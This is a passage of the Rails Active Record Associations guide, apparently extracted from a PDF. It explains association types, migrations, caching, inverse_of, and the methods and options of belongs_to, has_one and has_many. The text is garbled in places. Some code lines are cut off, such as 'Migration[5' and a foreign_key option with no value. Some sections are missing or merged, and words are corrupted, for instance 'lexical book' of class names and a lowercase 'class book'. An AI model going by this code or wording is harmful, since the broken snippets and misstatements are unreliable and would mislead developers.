various forms of associations. But first, a quick introduction to the
situations where each association type is appropriate.
2.1 The belongs_to Association
A belongs_to association sets up a one-to-one connection with another
model, such that each instance of the declaring model "belongs to" one
instance of the other model. For example, if your application includes
authors and books, and each book can be assigned to exactly one author,
you'd declare the book model this way:
class Book < ApplicationRecord
belongs_to :author
end

belongs_to associations must use the singular term. If you used the
pluralized form in the above example for the author association in the
Book model, you would be told that there was an "uninitialized constant

Book::Authors". This is because Rails automatically infers the class name

from the association name. If the association name is wrongly pluralized,
then the inferred class will be wrongly pluralized too.
The corresponding migration might look like this:
class CreateBooks < ActiveRecord::Migration[5.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end
create_table :books do |t|
t.belongs_to :author, index: true
t.datetime :published_at
t.timestamps
end
end

end

2.2 The has_one Association

A has_one association also sets up a one-to-one connection with another
model, but with somewhat different semantics (and consequences). This
association indicates that each instance of a model contains or possesses
one instance of another model. For example, if each supplier in your
application has only one account, you'd declare the supplier model like
this:
class Supplier < ApplicationRecord
has_one :account
end

The corresponding migration might look like this:

class CreateSuppliers < ActiveRecord::Migration[5.0]
def change
create_table :suppliers do |t|

t.string :name
t.timestamps
end
create_table :accounts do |t|
t.belongs_to :supplier, index: true
t.string :account_number
t.timestamps
end
end
end

Depending on the use case, you might also need to create a unique index
and/or a foreign key constraint on the supplier column for the accounts
table. In this case, the column definition might look like this:

create_table :accounts do |t|

t.belongs_to :supplier, index: true, unique: true, foreign_key
# ...
end

2.3 The has_many Association

A has_many association indicates a one-to-many connection with another
model. You'll often find this association on the "other side" of a
belongs_to association. This association indicates that each instance of
the model has zero or more instances of another model. For example, in an
application containing authors and books, the author model could be
declared like this:
class Author < ApplicationRecord
has_many :books
end

The name of the other model is pluralized when declaring a has_many

association.

The corresponding migration might look like this:

class CreateAuthors < ActiveRecord::Migration[5.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end
create_table :books do |t|
t.belongs_to :author, index: true
t.datetime :published_at
t.timestamps
end
end
end

2.4 The has_many :through Association

A has_many :through association is often used to set up a many-to-many
connection with another model. This association indicates that the
declaring model can be matched with zero or more instances of another

model by proceeding through a third model. For example, consider a

medical practice where patients make appointments to see physicians. The
relevant association declarations could look like this:
class Physician < ApplicationRecord
has_many :appointments
has_many :patients, through: :appointments
end
class Appointment < ApplicationRecord
belongs_to :physician
belongs_to :patient
end
class Patient < ApplicationRecord
has_many :appointments
has_many :physicians, through: :appointments
end

The corresponding migration might look like this:

class CreateAppointments < ActiveRecord::Migration[5.0]

def change
create_table :physicians do |t|
t.string :name
t.timestamps
end
create_table :patients do |t|
t.string :name
t.timestamps
end
create_table :appointments do |t|
t.belongs_to :physician, index: true
t.belongs_to :patient, index: true
t.datetime :appointment_date
t.timestamps
end
end
end

The collection of join models can be managed via the has_many

association methods. For example, if you assign:
physician.patients = patients

Then new join models are automatically created for the newly associated
objects. If some that existed previously are now missing, then their join
rows are automatically deleted.
Automatic deletion of join models is direct, no destroy callbacks are
triggered.
The has_many :through association is also useful for setting up
"shortcuts" through nested has_many associations. For example, if a
document has many sections, and a section has many paragraphs, you may
sometimes want to get a simple collection of all paragraphs in the

document. You could set that up this way:

class Document < ApplicationRecord
has_many :sections
has_many :paragraphs, through: :sections
end
class Section < ApplicationRecord
belongs_to :document
has_many :paragraphs
end
class Paragraph < ApplicationRecord
belongs_to :section
end

With through: :sections specified, Rails will now understand:

@document.paragraphs

2.5 The has_one :through Association

A has_one :through association sets up a one-to-one connection with
another model. This association indicates that the declaring model can be
matched with one instance of another model by proceeding through a third
model. For example, if each supplier has one account, and each account is
associated with one account history, then the supplier model could look
like this:
class Supplier < ApplicationRecord
has_one :account
has_one :account_history, through: :account
end
class Account < ApplicationRecord
belongs_to :supplier
has_one :account_history

end
class AccountHistory < ApplicationRecord
belongs_to :account
end

The corresponding migration might look like this:

class CreateAccountHistories < ActiveRecord::Migration[5.0]

def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end
create_table :accounts do |t|
t.belongs_to :supplier, index: true
t.string :account_number
t.timestamps
end
create_table :account_histories do |t|
t.belongs_to :account, index: true
t.integer :credit_rating
t.timestamps
end
end
end

2.6 The has_and_belongs_to_many Association

A has_and_belongs_to_many association creates a direct many-to-many
connection with another model, with no intervening model. For example,
if your application includes assemblies and parts, with each assembly
having many parts and each part appearing in many assemblies, you could
declare the models this way:
class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end
class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

The corresponding migration might look like this:

class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
def change
create_table :assemblies do |t|
t.string :name
t.timestamps

end
create_table :parts do |t|
t.string :part_number
t.timestamps
end
create_table :assemblies_parts, id: false do |t|
t.belongs_to :assembly, index: true
t.belongs_to :part, index: true
end
end
end

2.7 Choosing Between belongs_to and has_one

If you want to set up a one-to-one relationship between two models, you'll
need to add belongs_to to one, and has_one to the other. How do you
know which is which?
The distinction is in where you place the foreign key (it goes on the table
for the class declaring the belongs_to association), but you should give
some thought to the actual meaning of the data as well. The has_one
relationship says that one of something is yours - that is, that something
points back to you. For example, it makes more sense to say that a supplier
owns an account than that an account owns a supplier. This suggests that
the correct relationships are like this:
class Supplier < ApplicationRecord
has_one :account
end
class Account < ApplicationRecord
belongs_to :supplier
end

The corresponding migration might look like this:

class CreateSuppliers < ActiveRecord::Migration[5.0]

def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end
create_table :accounts do |t|
t.integer :supplier_id
t.string :account_number
t.timestamps
end
add_index :accounts, :supplier_id
end
end

Using t.integer :supplier_id makes the foreign key naming obvious

and explicit. In current versions of Rails, you can abstract away this
implementation detail by using t.references :supplier instead.
2.8 Choosing Between has_many :through and
has_and_belongs_to_many

Rails offers two different ways to declare a many-to-many relationship

between models. The simpler way is to use has_and_belongs_to_many,
which allows you to make the association directly:
class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end
class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

The second way to declare a many-to-many relationship is to use has_many

:through. This makes the association indirectly, through a join model:

class Assembly < ApplicationRecord

has_many :manifests
has_many :parts, through: :manifests
end
class Manifest < ApplicationRecord
belongs_to :assembly
belongs_to :part
end
class Part < ApplicationRecord
has_many :manifests
has_many :assemblies, through: :manifests
end

The simplest rule of thumb is that you should set up a has_many :through
relationship if you need to work with the relationship model as an
independent entity. If you don't need to do anything with the relationship
model, it may be simpler to set up a has_and_belongs_to_many
relationship (though you'll need to remember to create the joining table in
the database).
You should use has_many :through if you need validations, callbacks or
extra attributes on the join model.
2.9 Polymorphic Associations
A slightly more advanced twist on associations is the polymorphic
association. With polymorphic associations, a model can belong to more
than one other model, on a single association. For example, you might
have a picture model that belongs to either an employee model or a
product model. Here's how this could be declared:
class Picture < ApplicationRecord
belongs_to :imageable, polymorphic: true
end

class Employee < ApplicationRecord

has_many :pictures, as: :imageable
end
class Product < ApplicationRecord
has_many :pictures, as: :imageable
end

You can think of a polymorphic belongs_to declaration as setting up an

interface that any other model can use. From an instance of the Employee
model, you can retrieve a collection of pictures: @employee.pictures.
Similarly, you can retrieve @product.pictures.
If you have an instance of the Picture model, you can get to its parent via
@picture.imageable. To make this work, you need to declare both a
foreign key column and a type column in the model that declares the
polymorphic interface:
class CreatePictures < ActiveRecord::Migration[5.0]
def change
create_table :pictures do |t|
t.string :name
t.integer :imageable_id
t.string :imageable_type
t.timestamps
end
add_index :pictures, [:imageable_type, :imageable_id]
end
end

This migration can be simplified by using the t.references form:

class CreatePictures < ActiveRecord::Migration[5.0]
def change
create_table :pictures do |t|
t.string :name

t.references :imageable, polymorphic: true, index: true

t.timestamps
end
end
end

2.10 Self Joins

In designing a data model, you will sometimes find a model that should

have a relation to itself. For example, you may want to store all employees
in a single database model, but be able to trace relationships such as
between manager and subordinates. This situation can be modeled with
self-joining associations:
class Employee < ApplicationRecord
has_many :subordinates, class_name: "Employee",
foreign_key: "manager_id"
belongs_to :manager, class_name: "Employee"
end

With this setup, you can retrieve @employee.subordinates and

@employee.manager.
In your migrations/schema, you will add a references column to the model
itself.
class CreateEmployees < ActiveRecord::Migration[5.0]
def change
create_table :employees do |t|
t.references :manager, index: true
t.timestamps
end
end
end

3 Tips, Tricks, and Warnings

Here are a few things you should know to make efficient use of Active
Record associations in your Rails applications:
Controlling caching
Avoiding name collisions
Updating the schema
Controlling association scope
Bi-directional associations
3.1 Controlling Caching
All of the association methods are built around caching, which keeps the
result of the most recent query available for further operations. The cache
is even shared across methods. For example:

author.books # retrieves books from the database

author.books.size # uses the cached copy of books
author.books.empty? # uses the cached copy of books

But what if you want to reload the cache, because data might have been
changed by some other part of the application? Just call reload on the
association:

author.books # retrieves books from the database

author.books.size # uses the cached copy of books
author.books.reload.empty? # discards the cached copy of book
# and goes back to the database

3.2 Avoiding Name Collisions

You are not free to use just any name for your associations. Because
creating an association adds a method with that name to the model, it is a

bad idea to give an association a name that is already used for an instance
method of ActiveRecord::Base. The association method would override
the base method and break things. For instance, attributes or
connection are bad names for associations.
3.3 Updating the Schema
Associations are extremely useful, but they are not magic. You are
responsible for maintaining your database schema to match your
associations. In practice, this means two things, depending on what sort of
associations you are creating. For belongs_to associations you need to
create foreign keys, and for has_and_belongs_to_many associations you
need to create the appropriate join table.
3.3.1 Creating Foreign Keys for belongs_to Associations

When you declare a belongs_to association, you need to create foreign

keys as appropriate. For example, consider this model:
class Book < ApplicationRecord
belongs_to :author
end

This declaration needs to be backed up by the proper foreign key

declaration on the books table:
class CreateBooks < ActiveRecord::Migration[5.0]
def change
create_table :books do |t|
t.datetime :published_at
t.string :book_number
t.integer :author_id
end
add_index :books, :author_id
end

end

If you create an association some time after you build the underlying
model, you need to remember to create an add_column migration to
provide the necessary foreign key.
3.3.2 Creating Join Tables for has_and_belongs_to_many Associations

If you create a has_and_belongs_to_many association, you need to

explicitly create the joining table. Unless the name of the join table is
explicitly specified by using the :join_table option, Active Record
creates the name by using the lexical book of the class names. So a join
between author and book models will give the default join table name of
"authors_books" because "a" outranks "b" in lexical ordering.
The precedence between model names is calculated using the <=> operator
for String. This means that if the strings are of different lengths, and the
strings are equal when compared up to the shortest length, then the longer
string is considered of higher lexical precedence than the shorter one. For
example, one would expect the tables "paper_boxes" and "papers" to
generate a join table name of "papers_paper_boxes" because of the length
of the name "paper_boxes", but it in fact generates a join table name of
"paper_boxes_papers" (because the underscore '_' is lexicographically less
than 's' in common encodings).
Whatever the name, you must manually generate the join table with an
appropriate migration. For example, consider these associations:
class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end
class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

These need to be backed up by a migration to create the

assemblies_parts table. This table should be created without a primary
key:

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5

def change
create_table :assemblies_parts, id: false do |t|
t.integer :assembly_id
t.integer :part_id
end
add_index :assemblies_parts, :assembly_id
add_index :assemblies_parts, :part_id
end
end

We pass id: false to create_table because that table does not represent
a model. That's required for the association to work properly. If you
observe any strange behavior in a has_and_belongs_to_many association
like mangled model IDs, or exceptions about conflicting IDs, chances are
you forgot that bit.
You can also use the method create_join_table

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5

def change
create_join_table :assemblies, :parts do |t|
t.index :assembly_id
t.index :part_id
end
end
end

3.4 Controlling Association Scope

By default, associations look for objects only within the current module's
scope. This can be important when you declare Active Record models
within a module. For example:
module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
class Account < ApplicationRecord
belongs_to :supplier
end
end
end

This will work fine, because both the Supplier and the Account class are
defined within the same scope. But the following will not work, because
Supplier and Account are defined in different scopes:
module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
end
module Billing
class Account < ApplicationRecord
belongs_to :supplier
end
end
end

To associate a model with a model in a different namespace, you must

specify the complete class name in your association declaration:
module MyApplication

module Business
class Supplier < ApplicationRecord
has_one :account,
class_name: "MyApplication::Billing::Account"
end
end
module Billing
class Account < ApplicationRecord
belongs_to :supplier,
class_name: "MyApplication::Business::Supplier"
end
end
end

3.5 Bi-directional Associations

It's normal for associations to work in two directions, requiring declaration
on two different models:
class Author < ApplicationRecord
has_many :books
end
class Book < ApplicationRecord
belongs_to :author
end

By default, Active Record doesn't know about the connection between

these associations. This can lead to two copies of an object getting out of
sync:
a = Author.first
b = a.books.first
a.first_name == b.author.first_name # => true
a.first_name = 'Manny'
a.first_name == b.author.first_name # => false

This happens because a and b.author are two different in-memory

representations of the same data, and neither one is automatically refreshed
from changes to the other. Active Record provides the :inverse_of option
so that you can inform it of these relations:
class Author < ApplicationRecord
has_many :books, inverse_of: :author
end
class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

With these changes, Active Record will only load one copy of the author
object, preventing inconsistencies and making your application more
efficient:
a = Author.first
b = a.books.first
a.first_name == b.author.first_name # => true
a.first_name = 'Manny'
a.first_name == b.author.first_name # => true

There are a few limitations to inverse_of support:

They do not work with :through associations.
They do not work with :polymorphic associations.
They do not work with :as associations.
For belongs_to associations, has_many inverse associations are
ignored.
Every association will attempt to automatically find the inverse association
and set the :inverse_of option heuristically (based on the association
name). Most associations with standard names will be supported.
However, associations that contain the following options will not have

their inverses set automatically:

:conditions
:through
:polymorphic
:foreign_key

4 Detailed Association Reference

The following sections give the details of each type of association,
including the methods that they add and the options that you can use when
declaring an association.
4.1 belongs_to Association Reference
The belongs_to association creates a one-to-one match with another
model. In database terms, this association says that this class contains the
foreign key. If the other class contains the foreign key, then you should use
has_one instead.
4.1.1 Methods Added by belongs_to

When you declare a belongs_to association, the declaring class

automatically gains five methods related to the association:
association
association=(associate)
build_association(attributes = {})
create_association(attributes = {})
create_association!(attributes = {})

In all of these methods, association is replaced with the symbol passed

as the first argument to belongs_to. For example, given the declaration:
class Book < ApplicationRecord
belongs_to :author
end

Each instance of the Book model will have these methods:

author
author=

build_author
create_author
create_author!

When initializing a new has_one or belongs_to association you must use

the build_ prefix to build the association, rather than the
association.build method that would be used for has_many or
has_and_belongs_to_many associations. To create one, use the create_
prefix.
4.1.1.1 association

The association method returns the associated object, if any. If no

associated object is found, it returns nil.
@author = @book.author

If the associated object has already been retrieved from the database for
this object, the cached version will be returned. To override this behavior
(and force a database read), call #reload on the parent object.
@author = @book.reload.author
4.1.1.2 association=(associate)

The association= method assigns an associated object to this object.

Behind the scenes, this means extracting the primary key from the
associated object and setting this object's foreign key to the same value.
@book.author = @author
4.1.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated

type. This object will be instantiated from the passed attributes, and the
link through this object's foreign key will be set, but the associated object
will not yet be saved.
@author = @book.build_author(author_number: 123,
author_name: "John Doe")
4.1.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated

type. This object will be instantiated from the passed attributes, the link
through this object's foreign key will be set, and, once it passes all of the
validations specified on the associated model, the associated object will be
saved.
@author = @book.create_author(author_number: 123,
author_name: "John Doe")
4.1.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises

ActiveRecord::RecordInvalid if the record is invalid.
4.1.2 Options for belongs_to

While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
belongs_to association reference. Such customizations can easily be
accomplished by passing options and scope blocks when you create the
association. For example, this association uses two such options:
class Book < ApplicationRecord
belongs_to :author, dependent: :destroy,
counter_cache: true
end

The belongs_to association supports these options:

:autosave
:class_name
:counter_cache
:dependent
:foreign_key
:primary_key
:inverse_of
:polymorphic
:touch
:validate
:optional
4.1.2.1 :autosave

If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.1.2.2 :class_name

If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a book belongs to an author, but the actual name of the model
containing authors is Patron, you'd set things up this way:
class Book < ApplicationRecord
belongs_to :author, class_name: "Patron"
end
4.1.2.3 :counter_cache

The :counter_cache option can be used to make finding the number of

belonging objects more efficient. Consider these models:

class Book < ApplicationRecord

belongs_to :author
end
class Author < ApplicationRecord
has_many :books
end

With these declarations, asking for the value of @author.books.size

requires making a call to the database to perform a COUNT(*) query. To
avoid this call, you can add a counter cache to the belonging model:
class Book < ApplicationRecord
belongs_to :author, counter_cache: true
end
class Author < ApplicationRecord
has_many :books
end

With this declaration, Rails will keep the cache value up to date, and then
return that value in response to the size method.
Although the :counter_cache option is specified on the model that
includes the belongs_to declaration, the actual column must be added to
the associated (has_many) model. In the case above, you would need to
add a column named books_count to the Author model.
You can override the default column name by specifying a custom column
name in the counter_cache declaration instead of true. For example, to
use count_of_books instead of books_count:
class Book < ApplicationRecord
belongs_to :author, counter_cache: :count_of_books
end
class Author < ApplicationRecord
has_many :books
end

You only need to specify the :counter_cache option on the belongs_to

side of the association.
Counter cache columns are added to the containing model's list of readonly attributes through attr_readonly.
4.1.2.4 :dependent

Controls what happens to associated objects when their owner is

destroyed:
:destroy causes the associated objects to also be destroyed.
:delete_all causes the associated objects to be deleted directly from

the database (callbacks are not executed).

:nullify causes the foreign keys to be set to NULL (callbacks are not
executed).
:restrict_with_exception causes an exception to be raised if there
are associated records.
:restrict_with_error causes an error to be added to the owner if
there are associated objects.
You should not specify this option on a belongs_to association that is
connected with a has_many association on the other class. Doing so can
lead to orphaned records in your database.
4.1.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key
on this model is the name of the association with the suffix _id added. The
:foreign_key option lets you set the name of the foreign key directly:
class Book < ApplicationRecord
belongs_to :author, class_name: "Patron",
foreign_key: "patron_id"
end

In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.1.2.6 :primary_key

By convention, Rails assumes that the id column is used to hold the

primary key of its tables. The :primary_key option allows you to specify a
different column.
For example, given we have a users table with guid as the primary key. If
we want a separate todos table to hold the foreign key user_id in the guid
column, then we can use primary_key to achieve this like so:
class User < ApplicationRecord
self.primary_key = 'guid' # primary key is guid and not id
end
class Todo < ApplicationRecord
belongs_to :user, primary_key: 'guid'
end

When we execute @user.todos.create then the @todo record will have its
user_id value as the guid value of @user.
4.1.2.7 :inverse_of

The :inverse_of option specifies the name of the has_many or has_one

association that is the inverse of this association. Does not work in
combination with the :polymorphic options.
class Author < ApplicationRecord
has_many :books, inverse_of: :author
end
class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

4.1.2.8 :polymorphic

Passing true to the :polymorphic option indicates that this is a

polymorphic association. Polymorphic associations were discussed in
detail earlier in this guide.
4.1.2.9 :touch

If you set the :touch option to true, then the updated_at or updated_on
timestamp on the associated object will be set to the current time whenever
this object is saved or destroyed:
class Book < ApplicationRecord
belongs_to :author, touch: true
end
class Author < ApplicationRecord
has_many :books
end

In this case, saving or destroying an book will update the timestamp on the
associated author. You can also specify a particular timestamp attribute to
update:
class Book < ApplicationRecord
belongs_to :author, touch: :books_updated_at
end
4.1.2.10 :validate

If you set the :validate option to true, then associated objects will be
validated whenever you save this object. By default, this is false:
associated objects will not be validated when this object is saved.
4.1.2.11 :optional

If you set the :optional option to true, then the presence of the
associated object won't be validated. By default, this option is set to false.
4.1.3 Scopes for belongs_to

There may be times when you wish to customize the query used by
belongs_to. Such customizations can be achieved via a scope block. For
example:
class Book < ApplicationRecord
belongs_to :author, -> { where active: true },
dependent: :destroy
end

You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:
where
includes
readonly
select
4.1.3.1 where

The where method lets you specify the conditions that the associated
object must meet.
class book < ApplicationRecord
belongs_to :author, -> { where active: true }
end
4.1.3.2 includes

You can use the includes method to specify second-order associations

that should be eager-loaded when this association is used. For example,

consider these models:

class LineItem < ApplicationRecord
belongs_to :book
end
class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end
class Author < ApplicationRecord
has_many :books
end

If you frequently retrieve authors directly from line items

(@line_item.book.author), then you can make your code somewhat more
efficient by including authors in the association from line items to books:
class LineItem < ApplicationRecord
belongs_to :book, -> { includes :author }
end
class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end
class Author < ApplicationRecord
has_many :books
end

There's no need to use includes for immediate associations - that is, if you
have Book belongs_to :author, then the author is eager-loaded
automatically when it's needed.
4.1.3.3 readonly

If you use readonly, then the associated object will be read-only when
retrieved via the association.
4.1.3.4 select

The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated object. By default, Rails retrieves all
columns.
If you use the select method on a belongs_to association, you should
also set the :foreign_key option to guarantee the correct results.
4.1.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil?
method:
if @book.author.nil?
@msg = "No author found for this book"
end
4.1.5 When are Objects Saved?

Assigning an object to a belongs_to association does not automatically

save the object. It does not save the associated object either.
4.2 has_one Association Reference
The has_one association creates a one-to-one match with another model.
In database terms, this association says that the other class contains the
foreign key. If this class contains the foreign key, then you should use
belongs_to instead.
4.2.1 Methods Added by has_one

When you declare a has_one association, the declaring class automatically

gains five methods related to the association:
association
association=(associate)
build_association(attributes = {})
create_association(attributes = {})
create_association!(attributes = {})

In all of these methods, association is replaced with the symbol passed

as the first argument to has_one. For example, given the declaration:
class Supplier < ApplicationRecord
has_one :account
end

Each instance of the Supplier model will have these methods:

account
account=
build_account
create_account
create_account!

When initializing a new has_one or belongs_to association you must use

The association method returns the associated object, if any. If no

associated object is found, it returns nil.

@account = @supplier.account

If the associated object has already been retrieved from the database for
this object, the cached version will be returned. To override this behavior
(and force a database read), call #reload on the parent object.
@account = @supplier.reload.account
4.2.1.2 association=(associate)

The association= method assigns an associated object to this object.

Behind the scenes, this means extracting the primary key from this object
and setting the associated object's foreign key to the same value.
@supplier.account = @account
4.2.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated

type. This object will be instantiated from the passed attributes, and the
link through its foreign key will be set, but the associated object will not
yet be saved.
@account = @supplier.build_account(terms: "Net 30")
4.2.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated

type. This object will be instantiated from the passed attributes, the link
through its foreign key will be set, and, once it passes all of the validations
specified on the associated model, the associated object will be saved.
@account = @supplier.create_account(terms: "Net 30")

4.2.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises

ActiveRecord::RecordInvalid if the record is invalid.
4.2.2 Options for has_one

While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
has_one association reference. Such customizations can easily be
accomplished by passing options when you create the association. For
example, this association uses two such options:
class Supplier < ApplicationRecord
has_one :account, class_name: "Billing", dependent: :nullify
end

The has_one association supports these options:

:as
:autosave
:class_name
:dependent
:foreign_key
:inverse_of
:primary_key
:source
:source_type
:through
:validate
4.2.2.1 :as

Setting the :as option indicates that this is a polymorphic association.

Polymorphic associations were discussed in detail earlier in this guide.

4.2.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.2.2.3 :class_name

If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a supplier has an account, but the actual name of the model
containing accounts is Billing, you'd set things up this way:
class Supplier < ApplicationRecord
has_one :account, class_name: "Billing"
end
4.2.2.4 :dependent

Controls what happens to the associated object when its owner is

destroyed:
:destroy causes the associated object to also be destroyed
:delete causes the associated object to be deleted directly from the

database (so callbacks will not execute)

:nullify causes the foreign key to be set to NULL. Callbacks are not
executed.
:restrict_with_exception causes an exception to be raised if there
is an associated record
:restrict_with_error causes an error to be added to the owner if
there is an associated object
It's necessary not to set or leave :nullify option for those associations
that have NOT NULL database constraints. If you don't set dependent to
destroy such associations you won't be able to change the associated object

because the initial associated object's foreign key will be set to the
unallowed NULL value.
4.2.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key
on the other model is the name of this model with the suffix _id added.
The :foreign_key option lets you set the name of the foreign key directly:
class Supplier < ApplicationRecord
has_one :account, foreign_key: "supp_id"
end

In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.2.2.6 :inverse_of

The :inverse_of option specifies the name of the belongs_to association

that is the inverse of this association. Does not work in combination with
the :through or :as options.
class Supplier < ApplicationRecord
has_one :account, inverse_of: :supplier
end
class Account < ApplicationRecord
belongs_to :supplier, inverse_of: :account
end
4.2.2.7 :primary_key

By convention, Rails assumes that the column used to hold the primary
key of this model is id. You can override this and explicitly specify the
primary key with the :primary_key option.

4.2.2.8 :source

The :source option specifies the source association name for a has_one
:through association.
4.2.2.9 :source_type

The :source_type option specifies the source association type for a

has_one :through association that proceeds through a polymorphic
association.
4.2.2.10 :through

The :through option specifies a join model through which to perform the
query. has_one :through associations were discussed in detail earlier in
this guide.
4.2.2.11 :validate

There may be times when you wish to customize the query used by
has_one. Such customizations can be achieved via a scope block. For
example:
class Supplier < ApplicationRecord
has_one :account, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:

where
includes
readonly
select
4.2.3.1 where

The where method lets you specify the conditions that the associated
object must meet.
class Supplier < ApplicationRecord
has_one :account, -> { where "confirmed = 1" }
end
4.2.3.2 includes

You can use the includes method to specify second-order associations

that should be eager-loaded when this association is used. For example,
consider these models:
class Supplier < ApplicationRecord
has_one :account
end
class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end
class Representative < ApplicationRecord
has_many :accounts
end

If you frequently retrieve representatives directly from suppliers

(@supplier.account.representative), then you can make your code
somewhat more efficient by including representatives in the association

from suppliers to accounts:

class Supplier < ApplicationRecord
has_one :account, -> { includes :representative }
end
class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end
class Representative < ApplicationRecord
has_many :accounts
end
4.2.3.3 readonly

If you use the readonly method, then the associated object will be readonly when retrieved via the association.
4.2.3.4 select

The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated object. By default, Rails retrieves all
columns.
4.2.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil?
method:
if @supplier.account.nil?
@msg = "No account found for this supplier"
end
4.2.5 When are Objects Saved?

When you assign an object to a has_one association, that object is

automatically saved (in order to update its foreign key). In addition, any
object being replaced is also automatically saved, because its foreign key
will change too.
If either of these saves fails due to validation errors, then the assignment
statement returns false and the assignment itself is cancelled.
If the parent object (the one declaring the has_one association) is unsaved
(that is, new_record? returns true) then the child objects are not saved.
They will automatically when the parent object is saved.
If you want to assign an object to a has_one association without saving the
object, use the association.build method.
4.3 has_many Association Reference
The has_many association creates a one-to-many relationship with another
model. In database terms, this association says that the other class will
have a foreign key that refers to instances of this class.
4.3.1 Methods Added by has_many

When you declare a has_many association, the declaring class

automatically gains 16 methods related to the association:
collection
collection<<(object, ...)
collection.delete(object, ...)
collection.destroy(object, ...)
collection=(objects)
collection_singular_ids
collection_singular_ids=(ids)
collection.clear

collection.empty?
collection.size
collection.find(...)
collection.where(...)
collection.exists?(...)
collection.build(attributes = {}, ...)
collection.create(attributes = {})
collection.create!(attributes = {})

In all of these methods, collection is replaced with the symbol passed as

the first argument to has_many, and collection_singular is replaced
with the singularized version of that symbol. For example, given the
declaration:
class Author < ApplicationRecord
has_many :books
end

Each instance of the Author model will have these methods:

books
books<<(object, ...)
books.delete(object, ...)
books.destroy(object, ...)
books=(objects)
book_ids
book_ids=(ids)
books.clear
books.empty?
books.size
books.find(...)
books.where(...)
books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})

4.3.1.1 collection

The collection method returns an array of all of the associated objects. If

there are no associated objects, it returns an empty array.
@books = @author.books
4.3.1.2 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by

setting their foreign keys to the primary key of the calling model.
@author.books << @book1
4.3.1.3 collection.delete(object, ...)

The collection.delete method removes one or more objects from the

collection by setting their foreign keys to NULL.
@author.books.delete(@book1)

Additionally, objects will be destroyed if they're associated with

dependent: :destroy, and deleted if they're associated with dependent:
:delete_all.
4.3.1.4 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the

collection by running destroy on each object.
@author.books.destroy(@book1)

Objects will always be removed from the database, ignoring the

:dependent option.

4.3.1.5 collection=(objects)

The collection= method makes the collection contain only the supplied
objects, by adding and deleting as appropriate.
4.3.1.6 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the

objects in the collection.
@book_ids = @author.book_ids
4.3.1.7 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain

only the objects identified by the supplied primary key values, by adding
and deleting as appropriate.
4.3.1.8 collection.clear

The collection.clear method removes all objects from the collection

according to the strategy specified by the dependent option. If no option is
given, it follows the default strategy. The default strategy for has_many
:through associations is delete_all, and for has_many associations is to
set the foreign keys to NULL.
@author.books.clear

Objects will be deleted if they're associated with dependent: :destroy,

just like dependent: :delete_all.
4.3.1.9 collection.empty?

The collection.empty? method returns true if the collection does not

contain any associated objects.

<% if @author.books.empty? %>

No Books Found
<% end %>
4.3.1.10 collection.size

The collection.size method returns the number of objects in the

collection.
@book_count = @author.books.size
4.3.1.11 collection.find(...)

The collection.find method finds objects within the collection. It uses

the same syntax and options as ActiveRecord::Base.find.
@available_books = @author.books.find(1)
4.3.1.12 collection.where(...)

The collection.where method finds objects within the collection based

on the conditions supplied but the objects are loaded lazily meaning that
the database is queried only when the object(s) are accessed.

@available_books = @author.books.where(available: true) # No que

@available_book = @available_books.first # Now the database will
4.3.1.13 collection.exists?(...)

The collection.exists? method checks whether an object meeting the

supplied conditions exists in the collection. It uses the same syntax and
options as ActiveRecord::Base.exists?.
4.3.1.14 collection.build(attributes = {}, ...)

The collection.build method returns a single or array of new objects of

the associated type. The object(s) will be instantiated from the passed
attributes, and the link through their foreign key will be created, but the
associated objects will not yet be saved.
@book = @author.books.build(published_at: Time.now,
book_number: "A12345")
@books = @author.books.build([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])
4.3.1.15 collection.create(attributes = {})

The collection.create method returns a single or array of new objects

